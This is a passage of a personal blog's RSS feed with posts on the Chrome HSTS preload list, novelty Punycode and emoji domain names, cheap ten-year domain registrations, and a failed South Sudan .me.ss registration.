										<content:encoded><![CDATA[<p>You type in to your browser's address bar <code>example.com</code> and it automatically redirects you to the https:// version. How does your browser know that it needed to request the more secure version of a website?</p>

<p>The answer is... A <em>big</em> list.  The <a href="https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security">HTTP Strict Transport Security</a> (HSTS) list is a list of domain names which have told Google that they <em>always</em> want their website served over https.  If the user tries to manually request the insecure version, the browser won't let them. This means that a user's connection to, for example, their bank cannot be hijacked.  A dodgy WiFi network cannot force the user to visit an insecure and fraudulent version of a site.</p>

<p>After about a decade of use, the list is now 14MB in size, with around 130,000 entries in it.  You can <a href="https://source.chromium.org/chromium/chromium/src/+/main:net/http/transport_security_state_static.json">view the list online</a> or <a href="https://chromium.googlesource.com/chromium/src/net/+/refs/heads/main/http">download it</a>.</p>

<p>The format is relatively straightforward:</p>

<pre><code class="language-json">{
 "name": "example.com",
 "policy": "bulk-1-year",
 "mode": "force-https",
 "include_subdomains": true 
},
</code></pre>

<p>When the list is updated, <a href="https://source.chromium.org/chromium/chromium/src/+/main:net/tools/transport_security_state_generator/README.md?q=transport_security_state_static.json&amp;ss=chromium%2Fchromium%2Fsrc&amp;start=11">Chrome creates a trie with Huffman coding compression</a> - so it doesn't have to parse that monster file each time.</p>

<h2 id="a-rummage-inside"><a href="https://shkspr.mobi/blog/2024/01/a-quick-look-inside-the-hsts-file/#a-rummage-inside">A rummage inside</a></h2>

<p>The most popular (over 1,000 entries) TLDs / Public Suffixes are:</p>

<table>
<thead>
<tr>
  <th align="right">Rank</th>
  <th align="center">TLD</th>
  <th align="right">Entries</th>
</tr>
</thead>
<tbody>
<tr>
  <td align="right">1</td>
  <td align="center">com</td>
  <td align="right">43,236</td>
</tr>
<tr>
  <td align="right">2</td>
  <td align="center">tk</td>
  <td align="right">19,022</td>
</tr>
<tr>
  <td align="right">3</td>
  <td align="center">de</td>
  <td align="right">5,216</td>
</tr>
<tr>
  <td align="right">4</td>
  <td align="center">org</td>
  <td align="right">4,731</td>
</tr>
<tr>
  <td align="right">5</td>
  <td align="center">gov</td>
  <td align="right">4,507</td>
</tr>
<tr>
  <td align="right">6</td>
  <td align="center">net</td>
  <td align="right">4,410</td>
</tr>
<tr>
  <td align="right">7</td>
  <td align="center">ga</td>
  <td align="right">4,326</td>
</tr>
<tr>
  <td align="right">8</td>
  <td align="center">nl</td>
  <td align="right">2,671</td>
</tr>
<tr>
  <td align="right">9</td>
  <td align="center">cf</td>
  <td align="right">2,458</td>
</tr>
<tr>
  <td align="right">10</td>
  <td align="center">ml</td>
  <td align="right">2,271</td>
</tr>
<tr>
  <td align="right">11</td>
  <td align="center">co.uk</td>
  <td align="right">2,139</td>
</tr>
<tr>
  <td align="right">12</td>
  <td align="center">fr</td>
  <td align="right">1,714</td>
</tr>
<tr>
  <td align="right">13</td>
  <td align="center">ru</td>
  <td align="right">1,516</td>
</tr>
<tr>
  <td align="right">14</td>
  <td align="center">eu</td>
  <td align="right">1,283</td>
</tr>
<tr>
  <td align="right">15</td>
  <td align="center">com.br</td>
  <td align="right">1,226</td>
</tr>
<tr>
  <td align="right">16</td>
  <td align="center">gq</td>
  <td align="right">1,225</td>
</tr>
<tr>
  <td align="right">17</td>
  <td align="center">io</td>
  <td align="right">1,215</td>
</tr>
<tr>
  <td align="right">18</td>
  <td align="center">com.au</td>
  <td align="right">1,202</td>
</tr>
<tr>
  <td align="right">19</td>
  <td align="center">it</td>
  <td align="right">1,103</td>
</tr>
<tr>
  <td align="right">20</td>
  <td align="center">cz</td>
  <td align="right">1,004</td>
</tr>
</tbody>
</table>

<p>After <code>.com</code>, the free <code>.tk</code> domain names absolutely dominate. I wonder how many of them are fraudulent?</p>

<p>There are 2,676 <code>.uk</code> domain names - only 537 of which aren't on <code>.co.uk</code>.</p>

<p>Going a bit further, there are 418 IDNs (which start with <code>xn--</code>).</p>

<p>And about 187 have "porn" in the domain.</p>

<p>You can't really extrapolate <em>much</em> from this as a data set. Lots of the domains seem to have expired or otherwise no longer work. Reading around <a href="https://hstspreload.org"></a><a href="https://hstspreload.org">https://hstspreload.org</a> it notes that because this list is <em>hard-coded</em> into Chrome it can take months before a site is added. Similarly, removal can take a long time as well.</p>

<p>I can't help feeling that there should be a better way to manage all this though.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=49041&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2024/01/a-quick-look-inside-the-hsts-file/feed/</wfw:commentRss>
			<slash:comments>3</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Some more silly Punycode domain names]]></title>
		<link>https://shkspr.mobi/blog/2022/12/some-more-silly-punycode-domain-names/</link>
					<comments>https://shkspr.mobi/blog/2022/12/some-more-silly-punycode-domain-names/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sun, 04 Dec 2022 12:34:45 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[punycode]]></category>
		<category><![CDATA[unicode]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=43953</guid>

					<description><![CDATA[You know how it is, you buy one silly domain name and then you get an idea for loads more!  A few weeks ago, I got https://⏻.ga/ - I think I&#039;m the first person to get a domain name which uses a glyph from the Miscellaneous Symbols Unicode block. How exciting!  And that got me wondering… what other abuses of the Punycode algorithm can I whack into DNS?  Well, here&#039;s some I whipped up using FreeNom …]]></description>
										<content:encoded><![CDATA[<p>You know how it is, you buy one silly domain name and then you get an idea for loads more!  <a href="https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/">A few weeks ago, I got </a><a href="https://⏻.ga/</a>">https://⏻.ga/</a> - I think I'm the first person to get a domain name which uses a glyph from the Miscellaneous Symbols Unicode block. How exciting!</p>

<p>And that got me wondering… what other abuses of the <a href="https://www.punycoder.com/">Punycode</a> algorithm can I whack into DNS?  Well, here's some I whipped up using <a href="https://my.freenom.com/">FreeNom</a> - they offer free domain names on the .ga TLD (and a few others) and are <em>very</em> liberal in accepting Punycode domains.</p>

<h2 id="theres-millions-of-domains-all-under-one-roof"><a href="https://shkspr.mobi/blog/2022/12/some-more-silly-punycode-domain-names/#theres-millions-of-domains-all-under-one-roof">There's millions of domains all under one roof</a></h2>

<p>For some reason, the children's retailer "Toys 'R' Us" uses a backwards R in their logo. Presumably because they think kids are stupid and don't know how to form letters.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/11/TRU_logo.png" alt="The logo for Toys Are Us." width="323" height="89" class="aligncenter size-full wp-image-43955">

<p>Or, maybe they're big fans of the <a href="https://graphemica.com/%E1%B4%99">reversed letter <strong>ᴙ</strong></a>?  Either way, Punycode supports that!</p>

<p>I present to you:</p>

<p><span style="font-size:2em;"><a href="https://web.archive.org/web/20230123014124/https://xn--toysus-l35b.ga/">https://<span style="color:red">T</span><span style="color:orange">o</span><span style="color:green">y</span><span style="color:red">s</span><span style="color:blue">ᴙ</span><span style="color:green">U</span><span style="color:red">s</span>.ga/</a></span></p>

<p>Yup! Copy and paste that and it'll work.  Webkit based browsers should show the ᴙ in the URl bar - others might show Punycode.</p>

<p>NB: This is <em>not</em> the <a href="https://graphemica.com/%D1%8F">Cyrillic ya</a> - it is, instead, a <a href="https://en.wikipedia.org/wiki/Uralic_Phonetic_Alphabet#Consonants">homoglyph</a>.</p>

<h2 id="touch-a-touch-a-touch-a-touch-me"><a href="https://shkspr.mobi/blog/2022/12/some-more-silly-punycode-domain-names/#touch-a-touch-a-touch-a-touch-me">Touch a Touch a Touch a Touch Me</a></h2>

<p>I <em>think</em> this is the world's first domain name written in Braille.</p>

<p><span style="font-size:2em;"><a href="https://web.archive.org/web/20221205175308/https://xn--9iii1c8a.ga/">https://⠠⠃⠗⠇.ga</a></span></p>

<p>That uses <a href="https://www.rnib.org.uk/living-with-sight-loss/education-and-learning/braille-tactile-codes/braille-codes/unified-english-braille-ueb/">Unified English Braille</a> - with <a href="https://www.rnib.org.uk/living-with-sight-loss/education-and-learning/braille-tactile-codes/contracted-grade-2-braille-explained/">a Grade Two contraction</a>.</p>

<p>Interestingly, I couldn't get any browser to display Braille in the URl bar. The other domains on this page work - but this one just gave the Punycode representation <code>xn--9iii1c8a.ga</code></p>

<h2 id="these-domains-go-up-to-11"><a href="https://shkspr.mobi/blog/2022/12/some-more-silly-punycode-domain-names/#these-domains-go-up-to-11">These domains go up to 11</a></h2>

<p>Without a doubt, the loudest band in rock and/or roll are the legendary "Spın̈al Tap" - note the dotless I and the heavy-metal umlaut over the N.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/11/tap.jpeg" alt="The logo for the band Spinal Tap. The logo looks like it has been chiselled out of heavy metal by virgin nuns who only wish to please the gods of rock and roll." width="474" height="247" class="aligncenter size-full wp-image-43962">

<p>Again, Punycode supports that!</p>

<p><a href="https://web.archive.org/web/20230123014133/https://sp%C4%B1n%CC%88altap.ga/"><span style="font-size:2em;color:silver;background:black;border-radius:0;">https://Spın̈alTap.ga/</span></a></p>

<p>Interestingly, this was the only domain that Firefox displayed without converting to Punycode.</p>

<h2 id="some-kind-of-einstein"><a href="https://shkspr.mobi/blog/2022/12/some-more-silly-punycode-domain-names/#some-kind-of-einstein">Some kind of Einstein</a></h2>

<p>This one combines another trick. As I pointed out in my post about <a href="https://shkspr.mobi/blog/2020/08/buying-a-single-character-domain-and-3-character-fqdn-for-15/">buying a single character domain name</a>, we can abuse Unicode normalisation in our domain names.  So the Unicode Superscript block gets automatically converted to regular text.</p>

<p>This means we can have a domain of:</p>

<p><span style="font-size:2em;"><a href="https://web.archive.org/web/20230123014120/https://e%EA%9E%8Amc%C2%B2.ga/">https://e꞊mc².ga/</a></span></p>

<p>The "equals" is really "modifier letter short equals sign (U+A78A)" which, surprisingly, doesn't undergo normalisation.</p>

<h2 id="what-didnt-work"><a href="https://shkspr.mobi/blog/2022/12/some-more-silly-punycode-domain-names/#what-didnt-work">What didn't work</a></h2>

<p>It's always good to share the experiments which didn't produce anything useful. Negative results are results too!</p>

<ul>
<li><a href="https://www.zalgo.org/">Zalgo Text</a> doesn't work.</li>
<li>🂡 and other playing cards don't work.</li>
<li>I figured trying to use something like <code>xn--hsbccom-oy9d61a</code> would probably get me banned from the Internet pretty quickly!</li>
<li>This didn't open up a portal to the Dark Dimension from which all madness stems. Oh well.</li>
</ul>

<h2 id="up-next"><a href="https://shkspr.mobi/blog/2022/12/some-more-silly-punycode-domain-names/#up-next">Up next?</a></h2>

<p>If you manage to generate any weird and wonderful domain names, please leave a comment.</p>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=43953&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/12/some-more-silly-punycode-domain-names/feed/</wfw:commentRss>
			<slash:comments>8</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[Not Quite Emoji Domain Names]]></title>
		<link>https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/</link>
					<comments>https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Fri, 04 Nov 2022 12:34:13 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[emoji]]></category>
		<category><![CDATA[i18n]]></category>
		<category><![CDATA[NaBloPoMo]]></category>
		<category><![CDATA[unicode]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=43928</guid>

					<description><![CDATA[Like all good geeks, I have far too many domain names that I acquired for interesting projects which never took off.  My latest is a bit different though.  https://⏻.ga/🔗  That&#039;s &#34;Unicode Power Symbol Dot Gabon&#34;.  Because why not.  Regular readers will know that I helped get ⏻ and several power symbols into Unicode.  When I do talks about this, I usually refer to them as Emoji because, to most peo…]]></description>
										<content:encoded><![CDATA[<html><head><style>
@font-face { 
  font-family: "power";
  src: url(data:application/octet-stream;base64,d09GMgABAAAAAARMAA4AAAAACNAAAAPvAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GVgCCYhEICoUUhDABNgIkAygLFgAEIAWDdAeBFz93ZWJmBhtcB8iOxDgmcsRI5UX+Q571flJmrKx1G3faMbWgT8JJaVcQD/8/5u77M4malrZknsbpZlk8EgqZQ00kC4UUGTycdp7gnef436GyhAI+52tgAcacBezsL21O4FUACIDLl3TCAeCK6cpHpq4t/UPsNdoAU8AgECghkPXdAiSdSAMQIyteJF4GkC1+Y68jLRkCg5wckpDHQwH3yhQ405kVIUn7l4ajMpD0wQGAVQXWIWgMLwRdFrveXFNEQhagM+nflD+zIv7/hw/qd8n/b3fkt7SFffUxpB6SNKEghq9Atbz/CPno/38MwTmBsR04DtB86hTNhYBZ+28LJJHhPJ1phnoifW2qrq6qPiMAErypu68TSalRwxVwY1zXhenCDTTcVD/sfXz9NjXeCtt+iesS0LDPQo2GGw96Ht2ixvAVB3BqtbjxercaogaB69L8ar59/bEWdAmSpkGtrpBM6xo1YRoNR9T9UH2z6YZQLlFTLQhAZYOw6rXVwpMbN28+ffg4/NGzqFv3CQm/ex4IN5qaj2i+pXnT+7Astdmc5tuoBcj0FU6FnXtDQu2ZE+QQGlqleBzoBONgfETnMSGs/xpnFBdPX7+73eHZU4eOGIf2p886HHavL56eUWz81zrPCeZZHwbW31g+JmJHF4vGRtnlN7yrPmSZ2weHYPF1Z5AiNq6D5SrM090UcXEL+F1No3F//8aNnly/vv5R/K5d8Y/+EdkwPYr/59sbFhYa+jihfv36k3Gjf/+OxuVWN8WNUQQcHwpcURuWQX4WK47vUCQK1oUyp7lhyWrRAV+5eWsQNa9IN5cHtTaTf5qu88GMYnmR4cRZkEZ59WeUBA1+/ToYVMKSjb6gQV/avi1exmvXGnuBDKbN2DF0dUvMwfPAeD37rzItGeCWaPtk2v7/kl6OE8h2l4VA9qGdcDWAlOrni8/FDgAyFToGWYzJKG2hR18+hcEIwGGvVh8DoLDSmbRPC+9gESI5Aj1cTUJdpBPI4MpikMXSB8ih4RPk0fUHvmDqH3xjfuiCH8jIkfgLjlRv3GTRiQB4UlLgvaqUK0m+HCaTdy5PpuTv9SlSBUmVrlSOREVU8uUpMccXSZeKNzU0Zrpvy9FrrxDoOWKnVgam6jDGJhb96MaLmjCpuq5YZo90vEkvGmo/MVyqJGmjYJbQnUr0afYlsj7e1CzeM7M1hW9rYRNH763mRarMK5gDetvMeYnknSpUCk6RbEiVsw/qJBIOQEi0kiURiUlCUpJJS/My50u73LQD/MOVQXxwpK+rv4+RJ8Hfb46/ShVG6TH+CMNAsI9SGfCk1nPpwiUqhbaH0iUskld4Bil8lKDQhCPFAAA=);
}
.power {font-family:"power";color:#F00;}
</style>

</head><body><p>Like all good geeks, I have far too many domain names that I acquired for interesting projects which never took off.  My latest is a bit different though.</p>

<h2 id="https-%e2%8f%bb-ga"><a href="http://web.archive.org/web/20221212040251/https://xn--soh.ga/">https://<span class="power">⏻</span>.ga/</a><a href="https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/#https-%e2%8f%bb-ga">🔗</a></h2>

<p>That's "Unicode Power Symbol Dot Gabon".  Because why not.</p>

<p>Regular readers will know that I helped get <span class="power">⏻</span> and <a href="https://unicodepowersymbol.com/">several power symbols into Unicode</a>.  When I do talks about this, I usually refer to them as Emoji because, to most people, Emoji are simply little pictures in text.  But that is a gross oversimplification. You know the meme that <a href="https://journals.lib.washington.edu/index.php/nasko/article/download/15879/13281">real Champagne must be from the Champagne region of France - otherwise it is merely sparkling wine</a>?  Well, Emoji must come from the <a href="https://unicodeplus.com/plane/1">Supplementary Multilingual Plane of Unicode</a> otherwise they're just ✨sparkling✨ characters.</p>

<p>Except... That's not <em>quite</em> true. There are a bunch of symbols stuffed in the <a href="https://en.wikipedia.org/wiki/Miscellaneous_Symbols">Miscellaneous block of the Basic Multilingual Plane</a> which are <em>also</em> Emoji.</p>

<p>The Power Symbol appears in the block <a href="https://en.wikipedia.org/wiki/Miscellaneous_Technical">Miscellaneous Technical</a>.  The symbol itself is not an Emoji, but it is in a block which has 18 Emoji. Confused? Good<sup id="fnref:Babel"><a href="https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/#fn:Babel" class="footnote-ref" title="For more information, please read the Book of Genesis, Chapter 11, verses 1-9." role="doc-noteref">0</a></sup>!</p>

<p>Domain names can only contain the ASCII characters <code>A</code>-<code>Z</code>, <code>0</code>-<code>9</code>, and <code>-</code>. That's a problem if you speak anything other than basic English. Luckily, there's a workaround! I have a Chinese language domain <span style="word-break: keep-all;"><a href="https://莎士比亚.org/">莎士比亚.org</a></span> - through the magic of the <a href="https://www.rfc-editor.org/rfc/rfc3492">Punycode Algorithm</a>, it becomes <a href="https://xn--jlq54w7ypemw.org">xn--jlq54w7ypemw.org</a>.  This use of non-Latin letters in domains is known as IDN - Internationalised<sup id="fnref:idn"><a href="https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/#fn:idn" class="footnote-ref" title="As if English weren't international!" role="doc-noteref">1</a></sup> Domain Names.</p>

<p>IDNs have several <a href="https://www.icann.org/en/blogs/details/hello-world-enabling-internationalized-domain-names-idns-16-6-2021-en">officially supported "scripts"</a> - for example Thai, Greek, Hebrew, Cyrillic, Chinese etc.  Each top level domain (like .uk, .com, .中国) can choose which scripts they'll accept. For example, a Chinese Top Level Domain may only accept Chinese characters and not Greek characters.  IANA maintains a list of <a href="https://www.iana.org/domains/idn-tables">which domains support which scripts</a>.  But it is incomplete. Because it doesn't mention Emoji.</p>

<p>The Punycode algorithm works with emoji. This means you can have <a href="https://xn--i-7iq.ws/">Emoji in domain names</a>!  Mostly.  And that "mostly" is important.</p>

<p>Not every Top Level Domain accepts Emoji domain names (because they hate having fun, I guess?<sup id="fnref:security"><a href="https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/#fn:security" class="footnote-ref" title="But also, quite reasonably, for legitimate security concerns of having Emoji domains." role="doc-noteref">2</a></sup>)</p>

<p>The .ga registry doesn't publish any rules showing which scripts it will accept<sup id="fnref:gascript"><a href="https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/#fn:gascript" class="footnote-ref" title="Do let me know if I am wrong." role="doc-noteref">3</a></sup>.  But seems quite happy to take registrations for Punycode domains. So I registered <a href="http://web.archive.org/web/20221212040251/https://xn--soh.ga/"></a><a href="https://xn--soh.ga/">https://xn--soh.ga/</a> and, after an unusually long delay, it worked!</p>

<p>Does this mean <a href="http://web.archive.org/web/20221212040251/https://xn--soh.ga/"><span class="power">⏻</span>.ga</a> is an Emoji domain? No! <span class="power">⏻</span> is <em>not</em> an Emoji! It is a small pictographic symbol encoded in Unicode.</p>

<p>Does this mean <a href="http://web.archive.org/web/20221212040251/https://xn--soh.ga/"><span class="power">⏻</span>.ga</a> is an IDN? No! <span class="power">⏻</span> is <em>not</em> an international script. It is a language-neutral technical symbol.</p>

<p>So what the fuck kind of domain is it?</p>

<p>Drop an answer in the box bellow.</p>

<div id="footnotes" role="doc-endnotes">
<hr>
<ol start="0">

<li id="fn:Babel">
<p>For more information, please read the <a href="http://www.qbible.com/hebrew-old-testament/genesis/11.html">Book of Genesis, Chapter 11, verses 1-9</a>.&nbsp;<a href="https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/#fnref:Babel" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

<li id="fn:idn">
<p>As if English weren't international!&nbsp;<a href="https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/#fnref:idn" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

<li id="fn:security">
<p>But also, quite reasonably, for <a href="https://www.icann.org/en/system/files/files/sac-095-en.pdf">legitimate security concerns of having Emoji domains</a>.&nbsp;<a href="https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/#fnref:security" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

<li id="fn:gascript">
<p>Do let me know if I am wrong.&nbsp;<a href="https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/#fnref:gascript" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

</ol>
</div>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=43928&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/11/not-quite-emoji-domain-names/feed/</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[What's the cheapest domain you can register for 10 years?]]></title>
		<link>https://shkspr.mobi/blog/2022/09/whats-the-cheapest-domain-you-can-register-for-10-years/</link>
					<comments>https://shkspr.mobi/blog/2022/09/whats-the-cheapest-domain-you-can-register-for-10-years/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Fri, 09 Sep 2022 11:34:22 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[tld]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=43463</guid>

					<description><![CDATA[I&#039;m concerned about the longevity of the domains I register. I want my domains to be available for as long as possible. But it seems that every year prices rise - and the discount often provided for a new domain rarely continues into subsequent years.  So I recently started renewing them for as long as possible. It turns out that most domains can be registered for a maximum of 10 years.  A…]]></description>
										<content:encoded><![CDATA[<p>I'm concerned about the longevity of the domains I register. I want my domains to be available for as long as possible. But it seems that every year prices rise - and the discount often provided for a new domain rarely continues into subsequent years.</p>

<p>So I recently started renewing them for as long as possible. It turns out that most domains can be registered for a maximum of 10 years<sup id="fnref:ten"><a href="https://shkspr.mobi/blog/2022/09/whats-the-cheapest-domain-you-can-register-for-10-years/#fn:ten" class="footnote-ref" title="Do let me know if there are exceptions to this rule which are available to the general public." role="doc-noteref">0</a></sup>.</p>

<p>A typical <code>.uk</code> domain will set you back the thick end of a hundred quid if you want it for a decade! Can I find something cheaper?</p>

<p>There are some free domain services like <a href="https://freenom.com/">freenom.com</a>. They'll give you a <code>.ml</code> domain for free. But you'll have to log in every year if you want to renew it. And, as I recently found out, they will sometimes just take away your free name and try to charge you for it.</p>

<p>Similarly, <a href="https://nic.ua/en/domains/.pp.ua"><code>.pp.ua</code> offers free domains to people in Ukraine</a>. They can only be registered for a single year at a time though.</p>

<p>If you want a Top Level Domain which you <em>can</em> renew for a decade, the cheapest appears to be <a href="http://www.nic.feedback/"><code>.feedback</code></a> which costs a smidge under £13 for 10 years.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/08/Screenshot-2022-08-25-at-18-13-44-My-Cart.png" alt="Screenshot showing £12.80 for 10 years." width="497" height="462" class="aligncenter size-full wp-image-43468">

<p>But, of course, there is a catch! You have to <a href="https://web.archive.org/web/20220913054217/http://www.eggsample.feedback/reviews">use the <code>.feedback</code> website hosting service</a> which, frankly, looks rubbish.
<a href="http://www.eggsample.feedback/reviews"><img src="https://shkspr.mobi/blog/wp-content/uploads/2022/08/eggsample.png" alt="Screenshot of a review website. It looks cheap and nasty." width="1023" height="731" class="aligncenter size-full wp-image-43465"></a></p>

<p>It doesn't seem to be receiving any updates. I've tried contacting them to see if any improvements are planned, but didn't receive a reply. You can't set your own nameservers, nor can you add MX records or anything useful like that.</p>

<p>The cheapest fully functional domain which you can register for a decade appears to be <a href="https://www.sav.com"><code>.cyou</code> from Sav.com</a> at about £23 (US$27.60).</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/08/Screenshot-2022-08-25-at-18-02-42-Your-Cart.png" alt="Screenshot showing the domain cost at sav.com." width="675" height="309" class="aligncenter size-full wp-image-43466">

<p>Up next is <a href="https://porkbun.com/checkout/search?q=asdfsdadsfadsf.stream"><code>.stream</code> from Porkbun</a> - you can buy a 10 year domain for ~£30 (US$35.60).</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2022/08/Screenshot-2022-08-25-at-18-05-31-porkbun.com-An-oddly-satisfying-experience.png" alt="Screenshot showing the price." width="937" height="335" class="aligncenter size-full wp-image-43467">

<p>As pointed out on the <a href="https://news.ycombinator.com/item?id=32797286#32799446">HackerNews discussion</a> on this post, you can <a href="https://www.dynadot.com/domain/in.html">register a <code>.in</code> domain for 10 years for £37</a>.</p>

<p>So, there you have it. For between £23 - £40 you can buy a <em>useful</em> domain name which will stay registered to you for a decade. If you can find anything cheaper - please let me know in the comments.</p>

<p>Of course, paying for <em>hosting</em> for a decade is a different matter!</p>

<div id="footnotes" role="doc-endnotes">
<hr>
<ol start="0">

<li id="fn:ten">
<p>Do let me know if there are exceptions to this rule which are available to the general public.&nbsp;<a href="https://shkspr.mobi/blog/2022/09/whats-the-cheapest-domain-you-can-register-for-10-years/#fnref:ten" class="footnote-backref" role="doc-backlink">↩︎</a></p>
</li>

</ol>
</div>
<img src="https://shkspr.mobi/blog/wp-content/themes/edent-wordpress-theme/info/okgo.php?ID=43463&HTTP_REFERER=RSS" alt="" width="1" height="1" loading="eager">]]></content:encoded>
					
					<wfw:commentRss>https://shkspr.mobi/blog/2022/09/whats-the-cheapest-domain-you-can-register-for-10-years/feed/</wfw:commentRss>
			<slash:comments>13</slash:comments>
		
		
			</item>
		<item>
		<title><![CDATA[🔥.me.ss! You can't register emoji domains in South Sudan]]></title>
		<link>https://shkspr.mobi/blog/2021/07/hot-mess-a-new-emoji-domain/</link>
					<comments>https://shkspr.mobi/blog/2021/07/hot-mess-a-new-emoji-domain/#comments</comments>
				<dc:creator><![CDATA[@edent]]></dc:creator>
		<pubDate>Sun, 25 Jul 2021 11:23:07 +0000</pubDate>
				<category><![CDATA[/etc/]]></category>
		<category><![CDATA[dns]]></category>
		<category><![CDATA[domains]]></category>
		<category><![CDATA[emoji]]></category>
		<category><![CDATA[punycode]]></category>
		<category><![CDATA[unicode]]></category>
		<guid isPermaLink="false">https://shkspr.mobi/blog/?p=39635</guid>

					<description><![CDATA[It&#039;s useful to share negative results. Not every experiment has an amazing or successful outcome.  tl;dr you can&#039;t register Punycode .ss domains.  This also means Internet users in South Sudan can&#039;t register domains using their own writing system.  Background  The Republic of South Sudan became independent and joined the United Nations back in 2011. A decade later, and it&#039;s now possible to…]]></description>
										<content:encoded><![CDATA[<p>It's useful to share negative results. Not every experiment has an amazing or successful outcome.</p>

<p>tl;dr you can't register Punycode <code>.ss</code> domains.</p>

<p>This also means Internet users in South Sudan can't register domains using <a href="https://en.wikipedia.org/wiki/Nuer_language">their own writing system</a>.</p>

<h2 id="background"><a href="https://shkspr.mobi/blog/2021/07/hot-mess-a-new-emoji-domain/#background">Background</a></h2>

<p>The Republic of South Sudan became independent and joined the United Nations back in 2011. A decade later, and it's now possible to register <code>.ss</code> domains.</p>

<p>Partly due to <a href="https://www.theregister.com/2019/01/24/south_sudan_nazi_domain/">the history of the letters SS</a>, and partly because of the way domains are usually organised, you cannot register a <code>.ss</code> domain directly. You can have <code>.com.ss</code>, <code>.edu.ss</code>, <code>.biz.ss</code>, <code>.sch.ss</code>, <code>.gov.ss</code>, <code>.net.ss</code>, and - my new favourite - <code>.me.ss</code>!</p>

<p>This allows for some interesting <a href="https://en.wikipedia.org/wiki/Domain_hack">domain hacks</a>.  Perhaps host a recipe page for <a href="https://www.bbcgoodfood.com/recipes/eton-mess">Eton Mess</a>? Or complain about trash at <code>your_town.me.ss</code>?</p>

<p>I was looking at <code>hot.me.ss</code> - but someone already snapped that up.  However, the registrar said they allowed Punycode registration. Which means... <strong>EMOJI DOMAINS!</strong></p>

<p>So, for €24, <a href="https://www.afriregister.com/">Afriregister.com.ss</a> sold me...</p>

<h2 id="%f0%9f%94%a5-me-ss"><a href="https://shkspr.mobi/blog/2021/07/hot-mess-a-new-emoji-domain/#%f0%9f%94%a5-me-ss">🔥.me.ss</a></h2>

<p>For the Punycode minded among you, that's <code>xn--4v8h.me.ss</code></p>

<h2 id="the-process"><a href="https://shkspr.mobi/blog/2021/07/hot-mess-a-new-emoji-domain/#the-process">The process</a></h2>

<p>This wasn't quite as simple as I hoped. There are several registries which claim to support <code>.me.ss</code> - but halfway through the process, they'd decide that they couldn't register it.  Some of the registrars outside of Africa wanted extortionate prices for domains. But <a href="https://afriregister.com.ss/">Afriregister.com.ss</a> were relatively cheap and hassle-free.  They let you pay via PayPal.</p>

<p>Domains have to be approved. There is a <a href="https://web.archive.org/web/20210814161202/https://nic.ss/download/reserved_restricted_premium_list/?ind=1613781801187&amp;filename=Reserved_Restricted_Premium_List.pdf&amp;wpdmdl=2330&amp;refresh=6115fae57e99b1628830437">long list of banned terms</a>. Some of those restrictions are very specific to the people of South Sudan - so it is worth reading.</p>

<h2 id="the-failure"><a href="https://shkspr.mobi/blog/2021/07/hot-mess-a-new-emoji-domain/#the-failure">The failure</a></h2>

<p>The registration still hadn't completed after 12 hours. So the next day I chatted to the registrar.</p>

<img src="https://shkspr.mobi/blog/wp-content/uploads/2021/07/Screenshot-from-2021-07-21-09-58-24.png" alt="Dear Terence, We have contacted the registry and they said they don't allow 2 successive dashes." width="431" height="103" class="aligncenter size-full wp-image-39652">

<p>Damnit!</p>

<p>Looking more closely at <code>nic.ss</code>'s registration policies, they say</p>

<blockquote><p>4.1 All .SS Domain Names MUST have a minimum of THREE (3) characters. 
4.2  All .SS Domain Names should not have more than 63 characters. 
4.3  All .SS Domain Names should have a syntax pattern of [a-z 0-9].</p></blockquote>

